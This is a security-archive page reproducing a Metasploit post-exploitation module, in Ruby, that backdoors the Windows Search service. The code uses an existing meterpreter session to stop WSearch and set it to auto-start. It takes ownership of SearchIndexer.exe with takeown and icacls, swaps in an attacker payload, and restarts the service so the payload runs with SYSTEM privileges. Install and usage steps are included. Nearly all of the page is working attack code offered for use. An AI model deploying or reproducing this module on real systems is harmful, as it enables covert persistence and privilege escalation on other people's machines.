Lucene search
+L

Microsoft Wsearch Privilege Escalation

🗓️ 27 Oct 2016 00:00:00Reported by r00t-3xp10itType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 50 Views

Privilege Escalation in Microsoft Wsearch service by injection of an executable to enable persistence and elevate local privileges

Code
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
##  
# [ persist_priv_Wsearch.rb ]  
# $Id$ 1.6 Author: pedr0 Ubuntu aka: [r00t-3xp10it]  
# Hosted By: peterubuntu10[at]sourceforge[dot]net  
# http://sourceforge.net/projects/msf-auxiliarys/  
# https://sourceforge.net/p/msf-auxiliarys/repository/ci/master/tree/persist_priv_Wsearch.rb  
#  
#  
# ---  
# [ POST-EXPLOITATION MODULE DESCRIPTION ]  
# This post-exploitation module requires a meterpreter session to be able to upload/inject our payload.exe  
# into WSearch (windows search) service. The WSearch service uses one executable.exe set in binary_path_name  
# and runs it has local/system at startup, this enables local privilege_escalation/persistence_backdooring.  
# To exploit this vulnerability a local attacker needs to inject/replace the executable file into the binary_path_name  
# of the service. 'Rebooting the system or restarting the service will run the malicious executable with elevated privileges.  
#  
#  
# [ HOW TO EXPLOIT THE VULNERABILITY ]  
# 1Ao - exploit target system with one meterpreter payload (open session)  
# 2Ao - build new payload called: SearchIndexer.exe (2Ao payload to send to target)  
# 3Ao - start conrrespondent handler to wait for the 2Ao payload connection.  
# 4Ao - use post/windows/escalate/persist_priv_Wsearch (set options required)   
# 5Ao - set UPLOAD_PATH /root/SearchIndexer.exe (2Ao payload to send to target)  
# 6Ao - exploit  
#  
#  
# [ MODULE OPTIONS ]  
# HINT: to unset all values use: msf post(persist_priv_Wsearch) > unset all  
# Input The session number to run this module on => set SESSION 3  
# Input full path of SearchIndexer.exe to upload => set UPLOAD_PATH /root/shell/output/SearchIndexer.exe  
# Check WSearch service auto-start status? => set SERVICE_STATUS true  
# revert WSearch service executable to default? => set DELETE_PERSISTENCE true  
# ---  
#  
#  
# [ PORT MODULE TO METASPLOIT DATABASE ]  
# Kali linux COPY TO: /usr/share/metasploit-framework/modules/post/windows/escalate/persist_priv_Wsearch.rb  
# Ubuntu linux COPY TO: /opt/metasploit/apps/pro/msf3/modules/post/windows/escalate/persist_priv_Wsearch.rb  
# Manually Path Search: root@kali:~# locate modules/post/windows/escalate  
#  
#  
# [ LOAD/USE AUXILIARY ]  
# meterpreter > background  
# msf exploit(handler) > reload_all  
# msf exploit(handler) > use post/windows/escalate/persist_priv_Wsearch  
# msf post(persist_priv_Wsearch) > info  
# msf post(persist_priv_Wsearch) > show options  
# msf post(persist_priv_Wsearch) > show advanced options  
# msf post(persist_priv_Wsearch) > set [option(s)]  
# msf post(persist_priv_Wsearch) > exploit  
##  
  
  
  
# ----------------------------  
# Module Dependencies/requires  
# ----------------------------  
require 'rex'  
require 'msf/core'  
require 'msf/core/post/common'  
require 'msf/core/post/windows/priv'  
  
  
  
# ----------------------------------  
# Metasploit Class name and includes  
# ----------------------------------  
class MetasploitModule < Msf::Post  
Rank = ExcellentRanking  
  
include Msf::Post::Common  
include Msf::Post::Windows::Priv  
  
  
  
# -----------------------------------------  
# Building Metasploit/Armitage info GUI/CLI  
# -----------------------------------------  
def initialize(info={})  
super(update_info(info,  
'Name' => 'persistence/privilege_escalation in WSearch',  
'Description' => %q{  
This post-exploitation module requires a meterpreter session to be able to upload/inject our SearchIndexer.exe into WSearch (windows search) service. The WSearch service uses one executable.exe set in binary_path_name and runs it has local/system at startup, this enables local privilege_escalation/persistence_backdooring. To exploit this vulnerability a local attacker needs to inject/replace the executable file into the binary_path_name of the service. Rebooting the system or restarting the service will run the malicious executable with elevated privileges."WARNING: payload to send must be named as: SearchIndexer.exe"  
},  
'License' => UNKNOWN_LICENSE,  
'Author' =>  
[  
'peterubuntu10[at]sourceforge[dot]net', # post-module author/vuln discover  
'Special thanks: milton_barra', # testing/debug module  
],  
  
'Version' => '$Revision: 1.6',  
'DisclosureDate' => 'out 25 2016',  
'Platform' => 'windows',  
'Arch' => 'x86_x64',  
'Privileged' => 'false',  
'Targets' =>  
[  
# Tested againts windows 7 (32 bits) | XP SP1 (32 bits)  
[ 'Windows XP', 'Windows VISTA', 'Windows 7', 'Windows 8', 'Windows 9', 'Windows 10' ]  
],  
'DefaultTarget' => '3', # default its to run againts windows 7 (32 bits)  
'References' =>  
[  
[ 'URL', 'http://goo.gl/OvgbW' ],  
[ 'URL', 'http://sourceforge.net/users/peterubuntu10' ],  
[ 'URL', 'http://sourceforge.net/projects/msf-auxiliarys/repository' ],  
[ 'URL', 'http://computerstepbystep.com/windows_search_service.html' ],  
[ 'URL', 'http://www.winhelponline.com/blog/take-ownership-of-file-or-folder/' ],  
[ 'URL', 'https://technet.microsoft.com/en-us/library/cc753525%28v=ws.11%29.aspx' ]  
  
  
  
],  
'DefaultOptions' =>  
{  
'SESSION' => '1', # Default its to run againts session 1  
},  
'SessionTypes' => [ 'meterpreter' ]  
  
))  
  
register_options(  
[  
OptString.new('SESSION', [ true, 'The session number to run this module on']),  
OptString.new('UPLOAD_PATH', [ false, 'Input the full path of SearchIndexer.exe to upload']),  
OptBool.new('SERVICE_STATUS', [ false, 'Check remote WSearch service settings?' , false])  
], self.class)  
  
register_advanced_options(  
[  
OptBool.new('DELETE_PERSISTENCE', [ false, 'revert WSearch service executable to default?' , false])  
], self.class)  
  
end  
  
  
  
  
# ----------------------------------------------  
# Check for proper target Platform (win32|win64)  
# ----------------------------------------------  
def unsupported  
session = client  
sys = session.sys.config.sysinfo  
print_warning("[ABORT]: Operative System => #{sys['OS']}")  
print_error("Only windows systems are supported by this module...")  
print_error("Please execute [info] for further information...")  
print_line("")  
raise Rex::Script::Completed  
end  
  
  
  
  
# ----------------------------------------------------------  
# INJECT/UPLOAD OUR EXECUTABLE INTO WSearch BINARY_PATH_NAME  
# ----------------------------------------------------------  
def ls_stage1  
  
r=''  
session = client  
upath = datastore['UPLOAD_PATH']  
bin_path = "%systemroot%\\system32\\SearchIndexer.exe"  
# check for proper config settings enter  
# to prevent 'unset all' from deleting default options...  
if datastore['UPLOAD_PATH'] == 'nil'  
print_error("Options not configurated correctly...")  
print_warning("Please set UPLOAD_PATH option...")  
return nil  
else  
# elevate privs befor running module  
print_status("Persisting your payload in target system.")  
client.sys.config.getprivs.each do |priv|  
end  
end  
  
  
# check target system language to define key variable to use in (icacls) syntax...  
check_lang = registry_getvaldata("HKLM\\System\\CurrentControlSet\\Control\\Nls\\Language","InstallLanguage")  
if check_lang == "0816" || check_lang == "0416"  
print_warning("Target System language detected:Portuguese...")  
key = "Administrador"  
elsif check_lang == "0409" || check_lang == "0009" || check_lang == "0809" || check_lang == "0C09" || check_lang == "1009" || check_lang == "0421" || check_lang == "0415"  
print_warning("Target System language detected:English...")  
key = "Administrator"  
elsif check_lang == "0410"  
print_warning("Target System language detected:Italian...")  
key = "Amministratore"  
elsif check_lang == "040C" || check_lang == "0413"  
print_warning("Target System language detected:French...")  
key = "Administrateur"  
elsif check_lang == "0407"  
print_warning("Target System language detected:German...")  
key = "Verwalter"  
else  
print_error("post-module cant define target system language...")  
print_warning("defaulting key to english language [Administrator]")  
key = "Administrator"  
end  
  
  
# list of arrays to execute  
arrays = [  
'ren %systemroot%\\\\system32\\\\SearchIndexer.exe SearchIndexer.bk',  
'move /y %temp%\\\\SearchIndexer.exe %systemroot%\\\\system32\\\\SearchIndexer.exe',  
'sc start WSearch'  
]  
  
print_good("Stoping WSearch remote service...")  
# stop service to enable proper configuration  
r = session.sys.process.execute("cmd.exe /c sc stop WSearch", nil, {'Hidden' => true, 'Channelized' => true})  
sleep(2.0)  
print_good("Setting service to auto-start with windows...")  
# set service to auto-start with windows  
r = session.sys.process.execute("cmd.exe /c sc config WSearch start= auto", nil, {'Hidden' => true, 'Channelized' => true})  
sleep(2.0)  
  
# upload our executable into 'temp' folder...  
print_good("Uploading payload to target temp folder...")  
client.fs.file.upload("%temp%\\SearchIndexer.exe","#{upath}")  
  
# takeown of SearchIndexer.exe  
print_good("Takeowner of SearchIndexer to replace it by our executable.")  
print_good(" Execute => takeown /f #{bin_path}")  
r = session.sys.process.execute("cmd.exe /c takeown /f #{bin_path}", nil, {'Hidden' => true, 'Channelized' => true})  
sleep(2.0)  
  
# grant admin permitions (icacls)  
print_good(" Execute => icacls #{bin_path} /grant #{key}:(F)")  
r = session.sys.process.execute("cmd.exe /c icacls #{bin_path} /grant #{key}:(F)", nil, {'Hidden' => true, 'Channelized' => true})  
sleep(2.0)  
  
# loop funtion to manipulate file permitions in target system.  
session.response_timeout=120  
arrays.each do |cmd|  
begin  
# execute cmd prompt in a hidden channelized windows  
r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})  
print_good(" Execute => #{cmd}")  
  
# close client channel when done  
while(d = r.channel.read)  
break if d == ""  
end  
end  
end  
  
# task completed successefully...  
print_good("Restarting WSearch service...")  
sleep(2.0)  
print_warning("WSearch service [binary_path_name] backdoored successefuly...")  
print_status("Setup one handler and Wait everytime that system restarts OR")  
print_status("Setup one handler and restart Wsearch service: sc start WSearch")  
print_line("")  
  
# close channel when done  
r.channel.close  
r.close  
  
# error exception funtion  
rescue ::Exception => e  
print_error("Error: #{e.class} #{e}")  
end  
  
  
  
  
# ---------------------------------------------------------  
# DELETE/REVERT WSEARCH SERVICE EXECUTABLE TO DEFAULT STAGE  
# ---------------------------------------------------------  
def ls_stage2  
  
r=''  
session = client  
backup = "%systemroot%\\system32\\SearchIndexer.bk"  
# check for proper config settings enter  
# to prevent 'unset all' from deleting default options...  
if datastore['DELETE_PERSISTENCE'] == 'nil'  
print_error("Options not configurated correctly...")  
print_warning("Please set DELETE_PERSISTENCE option...")  
return nil  
else  
# elevate privs befor running module  
print_status("Revert WSearch service executable to default stage")  
client.sys.config.getprivs.each do |priv|  
end  
end  
  
  
# list of arrays to execute  
arrays = [  
'takeown /f %systemroot%\\\\system32\\\\SearchIndexer.exe',  
'ren %systemroot%\\\\system32\\\\SearchIndexer.bk SearchIndexer.exe',  
'sc config WSearch start= demand',  
'sc start WSearch'  
]  
  
# check if backup file exist on target  
if client.fs.file.exists?("#{backup}")  
print_warning("Backup SearchIndexer.bk file:found...")  
print_good("Stoping WSearch remote service...")  
# stop service to enable proper configuration  
r = session.sys.process.execute("cmd.exe /c sc stop WSearch", nil, {'Hidden' => true, 'Channelized' => true})  
sleep(2.0)  
  
# loop funtion to manipulate file permitions in target system.  
print_good("Takeowner of SearchIndexer service executable...")  
session.response_timeout=120  
arrays.each do |cmd|  
begin  
# execute cmd prompt in a hidden channelized windows  
r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})  
print_good(" Execute => #{cmd}")  
  
# close client channel when done  
while(d = r.channel.read)  
break if d == ""  
end  
end  
end  
  
  
print_good("Restarting WSearch service...")  
sleep(2.0)  
print_warning("WSearch service executable reverted to default stage...")  
print_status("we have lost our backdoor :( but feeded the white hacker within :D")  
print_line("")  
  
# close channel when done  
r.channel.close  
r.close  
  
else  
print_error("Backupfile: SearchIndexer.bk => NOT FOUND...")  
print_warning("post-module did not have reverted the service default executable.")  
print_line("")  
end  
  
  
# error exception funtion  
rescue ::Exception => e  
print_error("Error: #{e.class} #{e}")  
end  
  
  
  
  
# ------------------------------------  
# CHECK/DISPLAY WSEARCH SERVICE STATUS  
# ------------------------------------  
def ls_stage3  
  
r=''  
serv="WSearch"  
session = client  
sysnfo = session.sys.config.sysinfo  
# check for proper config settings enter  
# to prevent 'unset all' from deleting default options...  
if datastore['SERVICE_STATUS'] == 'nil'  
print_error("Options not configurated correctly...")  
print_warning("Please set SERVICE_STATUS option...")  
return nil  
else  
print_status("Checking WSearch service settings...")  
sleep(2.0)  
end  
  
  
print_warning("Reading service hive registry keys...")  
# search in target regedit for WSearch auto-start service status  
# Value:Start - dword: 2 - auto | 3 - manual | 4 - disabled  
check_stats = registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\WSearch", "Start")  
if check_stats == 2  
startup = "auto_start"  
elsif check_stats == 3  
startup = "manual_start"  
elsif check_stats == 4  
startup = "disabled_start"  
else  
startup = "unknow"  
print_error("post-module cant define service auto_start status...")  
print_warning("enter into a shell session and execute: sc qc WSearch status")  
end  
  
  
sleep(1.0)  
# display WSearch service current settings.  
print_line("")  
print_line(" :host => #{sysnfo['Computer']}")  
print_line(" :service => #{serv}")  
print_line(" :status => running")  
print_line(" :startup => #{startup}")  
print_line("")  
  
# error exception funtion  
rescue ::Exception => e  
print_error("Error: #{e.class} #{e}")  
end  
  
  
  
  
# ------------------------------------------------  
# MAIN DISPLAY WINDOWS (ALL MODULES - def run)  
# Running sellected modules against session target  
# ------------------------------------------------  
def run  
session = client  
# Check for proper target Platform  
unsupported if client.platform !~ /win32|win64/i  
  
# Variable declarations (msf API calls)  
sysnfo = session.sys.config.sysinfo  
runtor = client.sys.config.getuid  
runsession = client.session_host  
directory = client.fs.dir.pwd  
  
  
# Print banner and scan results on screen  
print_line(" +---------------------------------------------+")  
print_line(" | PERSISTENCE + PRIV_ESCAL IN WSEARCH SERVICE |")  
print_line(" | Author: Pedro Ubuntu [ r00t-3xp10it ] |")  
print_line(" +---------------------------------------------+")  
print_line("")  
print_line(" Running on session : #{datastore['SESSION']}")  
print_line(" Computer : #{sysnfo['Computer']}")  
print_line(" Operative System : #{sysnfo['OS']}")  
print_line(" Target IP addr : #{runsession}")  
print_line(" Payload directory : #{directory}")  
print_line(" Client UID : #{runtor}")  
print_line("")  
print_line("")  
  
  
  
# ------------------------------------  
# Selected settings to run  
# ------------------------------------  
if datastore['UPLOAD_PATH']  
ls_stage1  
end  
  
if datastore['DELETE_PERSISTENCE']  
ls_stage2  
end  
  
if datastore['SERVICE_STATUS']  
ls_stage3  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation